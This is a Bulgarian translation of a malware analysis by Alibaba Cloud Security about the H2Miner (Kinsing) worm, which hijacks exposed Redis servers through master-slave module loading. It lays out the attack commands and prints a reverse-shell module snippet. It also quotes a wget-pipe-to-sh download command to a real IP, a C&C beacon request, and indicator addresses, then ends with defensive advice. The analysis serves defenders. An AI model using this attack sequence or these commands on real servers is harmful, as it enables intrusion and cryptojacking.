Открита е нова вълна на червеи H2Miner, които експлоатират Redis RCE

Преди ден един от сървърите на проекта ми беше атакуван от подобен червей. В търсене на отговор на въпроса „какво точно беше това?“ намерих страхотна статия на екипа на Alibaba Cloud Security. Тъй като не открих тази статия в Хабра, реших да я преведа специално за вас <3

Въведение

Наскоро екипът по сигурността на Alibaba Cloud откри внезапен изблик на H2Miner. Този тип злонамерен червей използва липсата на удостоверяване или слаби пароли за Redis като врати към вашите системи, след което синхронизира собствен злонамерен модул с slave чрез master-slave синхронизация и накрая зарежда този модул на атакуваната машина и изпълнява злонамерени инструкции.

В миналото атаките срещу вашите системи основно се осъществяваха чрез метод, включващ планирани задачи или SSH-ключове, които се записваха на вашата машина след входа на нападателя в Redis. За щастие, този метод не се използва често заради проблеми с контрола на разрешенията или заради различни версии на системата. Въпреки това, този метод за зареждане на злонамерен модул може директно да изпълнява команди на атакуващия или да получи достъп до шел, което е опасно за вашата система.

Заради голямото количество сървъри Redis, разположени в интернет (почти 1 милион), екипът по сигурността на Alibaba Cloud, като приятелско напомняне, препоръчва на потребителите да не предоставят достъп до Redis от мрежата и редовно да проверяват надеждността на паролите си, а също така да се уверят, че не са подложени на бързо подбиране.

H2Miner

H2Miner е майнинг ботнет за системи на база Linux, който може да нахлува в вашата система по различни начини, включително отсъствие на удостоверяване в Hadoop yarn, Docker и уязвимост за отдалечено изпълнение на команди Redis (RCE). Ботнетът работи, като зарежда злонамерени скриптове и програми за майнинг на вашите данни, хоризонтално разширява атаката и поддържа комуникация с команден и контролен (C&C) център.

Redis RCE

Знанията по тази тема бяха споделени от Павел Топорков на ZeroNights 2018. След версия 4.0 Redis поддържа функция за зареждане на външни модули, която предоставя на потребителите възможност да заредят .so файлове, компилирани на C, в Redis за извършване на определени команди. Тази функция, макар и полезна, съдържа уязвимост, при която в режим master-slave файловете могат да бъдат синхронизирани с slave чрез режим fullresync. Това може да бъде използвано от нападателите за прехвърляне на злонамерени .so файлове. След завършване на прехвърлянето, злонамеренците зареждат модула в атакувания екземпляр на Redis и изпълняват всяка команда.

Анализ на злонамерен червей

Наскоро екипът за сигурност на Alibaba Cloud установи, че размерът на групата злонамерени майнери H2Miner изведнъж е нараснал. Според анализа, общият процес на възникване на атаката изглежда по следния начин:

Открита е нова вълна на червеи H2Miner, които експлоатират Redis RCE

H2Miner използва RCE Redis за пълна атака. Първо злонамеренците атакуват незащитени Redis сървъри или сървъри със слаби пароли.

След това те използват командата config set dbfilename red2.so за да променят името на файла. След това нападателите изпълняват командата slaveof за да зададат адреса на хоста за репликация master-slave.

Когато атакуваният екземпляр на Redis установи master-slave свързаност с злонамерения Redis, принадлежащ на нападателя, атакуващият изпраща заразения модул с помощта на командата fullresync за синхронизиране на файловете. След това файлът red2.so ще бъде зареден на атакуваната машина. След това злонамеренците използват модула ./red2.so, за да заредят този .so файл. Модулът може да изпълнява команди на нападателя или да инициира обратна връзка (бекдор) за достъп до атакуваната машина.

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

След изпълнение на злонамерена команда, като / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, нападателят ще сброси името на резервния файл и ще направи изтегляне на системния модул, за да изтрие следите. Въпреки това файлът red2.so все още ще остане на атакуваната машина. На потребителите се препоръчва да обърнат внимание на наличието на такива подозрителни файлове в папката на техния екземпляр Redis.

В допълнение към унищожаването на някои злонамерени процеси за кражба на ресурси, нападателят следва вредоносен сценарий, зареждайки и стартирайки злонамерени файлове в бинарен вид, за да 142.44.191.122/kinsing. Това означава, че името на процеса или името на директорията, съдържащо kinsing на хоста, може да укаже, че тази машина е била заразена с този вирус.

Според резултатите от реверсивната разработка, злонамерената програма основно изпълнява следните функции:

  • Зареждане на файлове и тяхното изпълнение
  • Майнинг
  • Поддържане на връзка C&C и изпълнение на команди на атакуващия

Открита е нова вълна на червеи H2Miner, които експлоатират Redis RCE

Използвайте masscan за външно сканиране, за да разширите влиянието. Освен това, IP адресът на C&C сървъра е строго шифрован в програмата, и атакуваният хост ще взаимодейства с C&C сървъра чрез HTTP заявки, където информацията за зомби (завзетия сървър) е идентифицирана в HTTP заглавието.

Открита е нова вълна на червеи H2Miner, които експлоатират Redis RCE

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

Останалите методи на атака

Открита е нова вълна на червеи H2Miner, които експлоатират Redis RCE

Адреси и връзки, които използва червея

/kinsing

• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh

C&C

• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193

Съвет

На първо място, Redis не трябва да бъде отворен за достъп от Интернет и трябва да бъде защитен с надеждена парола. Също така, важно е клиентите да проверяват за отсъствието на файла red2.so в директорията на Redis и отсъствието на „kinsing“ в името на файла/процеса на хоста.

Източник: habr.com

Купете надежден хостинг за сайтове с защита от DDoS, VPS VDS сървъри 🔥 Купете надежден хостинг за сайтове с защита от DDoS, VPS VDS сървъри | ProHoster